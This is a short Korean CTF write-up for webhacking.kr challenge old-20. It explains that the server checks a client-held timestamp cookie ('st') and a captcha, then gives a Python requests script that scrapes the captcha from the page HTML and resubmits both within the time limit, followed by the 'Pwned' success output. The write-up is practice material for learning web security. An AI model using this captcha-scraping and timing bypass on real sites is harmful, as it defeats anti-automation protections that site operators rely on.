time limit이 2 second라고 쓰여있는 걸 보아 2초 안에 빈칸을 채워서 제출해야 하는 것 같다. 한 칸이라도 비어있으면 안 되고, captcha는 당연히 일치해야 하고, 느리게 입력하면 Too Slow라고 뜬다.
문제 사이트에 접속하면 st
라는 쿠키가 설정되는데, 이 값은 현재 시각의 유닉스 타임스탬프이다. 처음에 접속할 때 시간을 쿠키가 저장하고, submit을 할 때 서버로 전송되는 이 쿠키 값과 서버의 타임스탬프를 비교하여 2초 이상 차이나는지 검사하는 것으로 추측할 수 있다. 처음에 사이트에 접속해서 st
와 captcha의 값을 받아와서, 그대로 다시 전송하면 검사를 통과할 수 있다.
import requests
url = 'https://webhacking.kr/challenge/code-4/'
cookies = {'PHPSESSID': '9ckaj0opsv9gi3sg6k8pvgudpl'}
res = requests.get(url, cookies=cookies)
st = res.cookies['st']
cookies['st'] = st
captcha = res.text.split('name=captcha_ value="')[1].split('"')[0]
data = {'id': 'aaaa', 'cmt': 'bbbb', 'captcha': captcha}
res = requests.post(url, cookies=cookies, data=data)
print(res.text)
$ python3 solve.py
<script>alert('old-20 Pwned!');</script><hr>old-20 Pwned. You got 20point. Congratz!<hr>
728x90